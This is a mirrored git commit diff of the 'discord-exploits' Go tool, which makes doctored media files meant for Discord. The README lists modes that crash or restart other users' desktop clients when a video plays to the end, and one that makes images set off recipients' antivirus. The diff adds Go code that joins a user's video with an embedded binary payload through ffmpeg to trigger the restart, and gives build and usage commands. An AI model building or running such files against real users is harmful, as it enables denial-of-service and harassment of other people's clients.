mirror of
https://github.com/Schmenn/discord-exploits.git
synced 2025-04-26 05:56:30 +00:00
Merge 98c890141f
into 7535d433b3
This commit is contained in:
commit
ed4d9ca1f3
2
.gitignore
vendored
2
.gitignore
vendored
|
@ -38,3 +38,5 @@ discord-exploits-linux-64bit
|
|||
*.m4a
|
||||
|
||||
*.mp3
|
||||
|
||||
.idea
|
82
README.md
82
README.md
|
@ -1,83 +1,69 @@
|
|||
[](https://github.com/Schmenn/discord-exploits/stargazers)
|
||||

|
||||

|
||||

|
||||
[](https://github.com/Schmenn/discord-exploits/network)
|
||||

|
||||
|
||||
# Discord-Exploits
|
||||
A program for creating exploited media files for discord written in Go.
|
||||
|
||||
A program for creating exploited media files for Discord written in Go.
|
||||
|
||||
# [Video Guide](https://www.youtube.com/watch?v=X0e3dgXzuEM)
|
||||
|
||||
##### If you have any questions, feel free to ask me on  or join the server: [](https://discord.gg/QQfE4QtzFJ)
|
||||
If you have any questions, feel free to ask me on  or join the server: [](https://discord.gg/QQfE4QtzFJ)
|
||||
|
||||
<b>DO NOT DM ME ASKING WHY THE WINDOW CLOSES INSTANTLY WHEN YOU DOUBLE CLICK IT,
|
||||
<b>DO NOT DM ME ASKING WHY THE WINDOW CLOSES INSTANTLY WHEN YOU DOUBLE CLICK IT,
|
||||
|
||||
DISCORD-EXPLOITS IS A COMMAND-LINE UTILITY MEANING YOU HAVE TO USE IT FROM A TERMINAL
|
||||
|
||||
IF THE PROGRAM SHOWS AN ERROR, READ THE ERROR BEFORE MESSAGING ME</b>
|
||||
|
||||
|
||||
|
||||
### Getting Help
|
||||
## Getting Started
|
||||
|
||||
`discord-exploits -h` will show you what commands can be used and what you have to do
|
||||
|
||||
### Creating an Expanding Video file
|
||||
## Usage
|
||||
|
||||
`discord-exploits -m <mode> -i <input file> [-q]`
|
||||
`discord-exploits -m <mode> -i <input file> [-q]`
|
||||
|
||||
the mode `c` stands for "crash", this file will crash almost any desktop discord client when it is played to the end
|
||||
| Mode | Description |
|
||||
| :------------ | :------------ |
|
||||
| `c` | Create a file that will crash most Discord desktop clients when played to the end |
|
||||
| `r` | Create a file that will instantly restart most Discord desktop clients when played to the end |
|
||||
| `v` | Create a virus image (upon sending to a channel, it will trigger antivirus software for anyone who sees it) |
|
||||
| `e` | Create a video which has an expanding video duration (00:00/00:02, 00:01/00:03, etc...) |
|
||||
| `n` | Create a video with negative duration |
|
||||
| `0` or `z` | Create a video with a removed duration header (0 second video) |
|
||||
| `t` | Create a file that will play a different audio when it is replayed (still experimental) |
|
||||
|
||||
the mode `v` stands for virus image
|
||||
|
||||
the mode `e` stands for expanding video duration
|
||||
|
||||
the mode `n` stands for negative video duration
|
||||
|
||||
the mode `0` or `z` stands for video with 0s duration
|
||||
|
||||
the mode `t` stands for "twice", this file will play a different audio when it is replayed (still experimental)
|
||||
|
||||
The Program only supports `webm` files for video, `png` files for images and `ogg` files for audio (t)
|
||||
The program only supports `webm` files for video, `png` files for images and `ogg` files for audio (`t`)
|
||||
|
||||
##### The file will be saved with a random file name in the directory in which you ran the command
|
||||
|
||||
##### You can use [FFmpeg](https://ffmpeg.org) to convert a video to .webm or to convert an image to png (better than online converters)
|
||||
|
||||
##### The "virus" image may get flagged by windows defender and will get removed. to restore the file, go to Settings > Update & Security > Windows Security > Virus & Threat protection and restore the file
|
||||
|
||||
## Installation
|
||||
|
||||
### Via releases
|
||||
|
||||
go to [the releases page](https://github.com/Schmenn/discord-exploits/releases) and download either the windows or linux version
|
||||
go to [the releases page](https://github.com/Schmenn/discord-exploits/releases) and download either the windows or linux version. the program is compatible with:
|
||||
|
||||
###### availabe systems are:
|
||||
`windows-64-bit
|
||||
windows-32-bit`
|
||||
`windows-64-bit windows-32-bit`
|
||||
|
||||
`linux-64-bit
|
||||
linux-32-bit`
|
||||
`linux-64-bit linux-32-bit` (untested on linux)
|
||||
|
||||
##### The Program was not yet tested on linux
|
||||
### Compile from source
|
||||
|
||||
make sure you have [Go](https://golang.org) installed and in your path
|
||||
|
||||
### Compiling it yourself
|
||||
###### make sure you have [Go](https://golang.org) installed and in your path
|
||||
1. Clone this repository
|
||||
|
||||
`git clone https://github.com/Schmenn/discord-exploits`
|
||||
|
||||
###### If you don't have git installed, install it [here](https://git-scm.com) or download the code as a zip
|
||||
2. Go into the folder
|
||||
|
||||
`cd discord-exploits`
|
||||
|
||||
3. Build it
|
||||
|
||||
`go build`
|
||||
|
||||
###### the executable will have the name `discord-exploits`
|
||||
1. Clone this repository: `git clone https://github.com/Schmenn/discord-exploits` (If you don't have git installed, install it [here](https://git-scm.com) or download the code as a zip)
|
||||
2. Go into the folder: `cd discord-exploits`
|
||||
3. Build it: `go build`
|
||||
|
||||
## Features
|
||||
|
||||
### Current Features
|
||||
* Feature for creating a video that, when played on discord, will seem like infinite, because the duration keeps getting longer
|
||||
* Feature for creating a video that, when played on discord, will look like it has got a huge negative duration
|
||||
|
@ -87,12 +73,14 @@ linux-32-bit`
|
|||
* Feature for creating a video that, when played on a discord client, will crash it ([always requires FFmpeg](https://ffmpeg.org))
|
||||
* Transcoding from `mp4` to `webm`, from `jpeg` and `jpg` to `png` and from `mp4` and `m4a` to `ogg` ([requires FFmpeg](https://ffmpeg.org))
|
||||
|
||||
### Disclaimer
|
||||
## Disclaimer
|
||||
|
||||
The t/twice mode requires ffmpeg with all compatible file formats, even `ogg`, because the current version of the exploit has to convert the audio to a sample rate of 44100.
|
||||
|
||||
The c/crash mode also requires ffmpeg will all compatible file formats, because the input file needs to be concatenated with another file.
|
||||
|
||||
### Upcoming Features are:
|
||||
not yet decided.
|
||||
## Upcoming Features
|
||||
|
||||
None yet
|
||||
|
||||
|
||||
|
|
16
exploits.go
16
exploits.go
|
@ -5,8 +5,8 @@ import (
|
|||
"github.com/Schmenn/discord-exploits/exploits"
|
||||
"github.com/Schmenn/discord-exploits/modules"
|
||||
"os"
|
||||
"strings"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
)
|
||||
|
||||
var (
|
||||
|
@ -91,6 +91,15 @@ func initCommand(inputFile string, mode string) {
|
|||
fmt.Println("completed task.")
|
||||
os.Remove(out)
|
||||
|
||||
case "r":
|
||||
fmt.Println("transcoding video from webm to mp4")
|
||||
out := modules.Transcode(inputFile, "mp4")
|
||||
fmt.Println("finished transcoding video from webm to mp4")
|
||||
fmt.Println("editing video.")
|
||||
exploits.RunRestartVideoTask(out)
|
||||
fmt.Println("completed task.")
|
||||
os.Remove(out)
|
||||
|
||||
default:
|
||||
fmt.Println("the mode doesn't match the file")
|
||||
}
|
||||
|
@ -130,6 +139,11 @@ func initCommand(inputFile string, mode string) {
|
|||
exploits.RunCrashVideoTask(inputFile)
|
||||
fmt.Println("completed task.")
|
||||
|
||||
case "r":
|
||||
fmt.Println("editing video.")
|
||||
exploits.RunRestartVideoTask(inputFile)
|
||||
fmt.Println("completed task.")
|
||||
|
||||
default:
|
||||
fmt.Println("the mode doesn't match the file")
|
||||
}
|
||||
|
|
|
@ -18,13 +18,13 @@ func RunExpandingVideoTask(fileName string) {
|
|||
return
|
||||
}
|
||||
|
||||
data[index+3] = 63
|
||||
data[index+4] = 240
|
||||
data[index+5] = 0
|
||||
data[index+6] = 0
|
||||
data[index+7] = 0
|
||||
data[index+8] = 0
|
||||
data[index+9] = 0
|
||||
data[index+3] = 63
|
||||
data[index+4] = 240
|
||||
data[index+5] = 0
|
||||
data[index+6] = 0
|
||||
data[index+7] = 0
|
||||
data[index+8] = 0
|
||||
data[index+9] = 0
|
||||
data[index+10] = 0
|
||||
|
||||
name := modules.CreateName("webm")
|
||||
|
|
|
@ -19,13 +19,13 @@ func RunNegativeVideoTask(fileName string) {
|
|||
return
|
||||
}
|
||||
|
||||
data[index+3] = 66
|
||||
data[index+4] = 255
|
||||
data[index+5] = 176
|
||||
data[index+6] = 96
|
||||
data[index+7] = 0
|
||||
data[index+8] = 0
|
||||
data[index+9] = 0
|
||||
data[index+3] = 66
|
||||
data[index+4] = 255
|
||||
data[index+5] = 176
|
||||
data[index+6] = 96
|
||||
data[index+7] = 0
|
||||
data[index+8] = 0
|
||||
data[index+9] = 0
|
||||
data[index+10] = 0
|
||||
|
||||
name := modules.CreateName("webm")
|
||||
|
|
45
exploits/restart-video.go
Normal file
45
exploits/restart-video.go
Normal file
|
@ -0,0 +1,45 @@
|
|||
package exploits
|
||||
|
||||
import (
|
||||
_ "embed" // embed
|
||||
"fmt"
|
||||
"os"
|
||||
"os/exec"
|
||||
"time"
|
||||
|
||||
"github.com/Schmenn/discord-exploits/modules"
|
||||
)
|
||||
|
||||
//go:embed restart.bin
|
||||
var restartBin []byte
|
||||
|
||||
// RunRestartVideoTask will concatenate a user-provided mpeg4 file and restart.bin to create a video which will
|
||||
// restart clients instead of crashing them. Requires that the base mpeg4 be encoded to yuv422p color space.
|
||||
func RunRestartVideoTask(filename string) {
|
||||
binname := modules.CreateName("bin")
|
||||
outname := modules.CreateName("mp4")
|
||||
txtname := modules.CreateName("txt")
|
||||
// prevent duplicate id
|
||||
time.Sleep(time.Millisecond * 1)
|
||||
reencode := modules.CreateName("mp4")
|
||||
|
||||
modules.CheckForFFmpeg()
|
||||
cmd := exec.Command("ffmpeg", "-i", filename, "-pix_fmt", "yuv422p", reencode)
|
||||
err := cmd.Run()
|
||||
modules.Check(err)
|
||||
err = os.WriteFile(txtname, []byte(`file '`+reencode+`'`+"\n"+`file '`+binname+`'`), 0777)
|
||||
modules.Check(err)
|
||||
err = os.WriteFile(binname, restartBin, 0777)
|
||||
modules.Check(err)
|
||||
cmd = exec.Command("ffmpeg", "-f", "concat", "-safe", "0", "-i", txtname, "-y", "-c", "copy", outname)
|
||||
err = cmd.Run()
|
||||
modules.Check(err)
|
||||
|
||||
err = os.Remove(binname)
|
||||
modules.Check(err)
|
||||
err = os.Remove(txtname)
|
||||
modules.Check(err)
|
||||
err = os.Remove(reencode)
|
||||
modules.Check(err)
|
||||
fmt.Println("Saved video to: " + outname)
|
||||
}
|
BIN
exploits/restart.bin
Normal file
BIN
exploits/restart.bin
Normal file
Binary file not shown.
|
@ -12,7 +12,7 @@ var (
|
|||
vpng1 []byte
|
||||
//go:embed virus2.txt
|
||||
vpng2 []byte
|
||||
vpng = append(vpng1, vpng2...)
|
||||
vpng = append(vpng1, vpng2...)
|
||||
)
|
||||
|
||||
// RunVirusImageTask edits file
|
||||
|
|
|
@ -19,18 +19,18 @@ func RunZeroVideoTask(fileName string) {
|
|||
return
|
||||
}
|
||||
|
||||
data[index+3] = 0
|
||||
data[index+4] = 0
|
||||
data[index+5] = 0
|
||||
data[index+6] = 0
|
||||
data[index+7] = 0
|
||||
data[index+8] = 0
|
||||
data[index+9] = 0
|
||||
data[index+3] = 0
|
||||
data[index+4] = 0
|
||||
data[index+5] = 0
|
||||
data[index+6] = 0
|
||||
data[index+7] = 0
|
||||
data[index+8] = 0
|
||||
data[index+9] = 0
|
||||
data[index+10] = 0
|
||||
|
||||
name := modules.CreateName("webm")
|
||||
|
||||
fmt.Println("Saved video to: "+name)
|
||||
fmt.Println("Saved video to: " + name)
|
||||
|
||||
err = os.WriteFile(name, data, os.FileMode(0777))
|
||||
if err != nil {
|
||||
|
|
|
@ -7,7 +7,7 @@ import (
|
|||
)
|
||||
|
||||
// CheckForFFmpeg looks for ffmpeg in the path
|
||||
func CheckForFFmpeg() (string) {
|
||||
func CheckForFFmpeg() string {
|
||||
path, err := exec.LookPath("ffmpeg")
|
||||
|
||||
if err != nil {
|
||||
|
|
|
@ -19,6 +19,7 @@ func Help(progName string) {
|
|||
fmt.Println(" n takes input video (.webm or .mp4) and edits it so discord will think it has got a huge negative duration")
|
||||
fmt.Println(" z, 0 takes input video (.webm or .mp4) and edits it so discord will think it has got a 0s duration")
|
||||
fmt.Println(" c takes input video (.webm or .mp4) and edits it so discord will crash when you play it to the end (only works on some PCs)")
|
||||
fmt.Println(" r takes input video (.webm or .mp4) and edits it so discord will immediately restart when you play it to the end (only works on some PCs)")
|
||||
fmt.Println(" image:")
|
||||
fmt.Println(" v takes an image (.png, .jpg or .jpeg) and makes other users' windows defender think it's a virus")
|
||||
fmt.Println(" audio:")
|
||||
|
|
|
@ -16,7 +16,7 @@ func Transcode(input string, to string) string {
|
|||
Check(err)
|
||||
|
||||
fmt.Println("temporarily saving transcoded file to " + output)
|
||||
|
||||
|
||||
return output
|
||||
}
|
||||
|
||||
|
|
Loading…
Reference in a new issue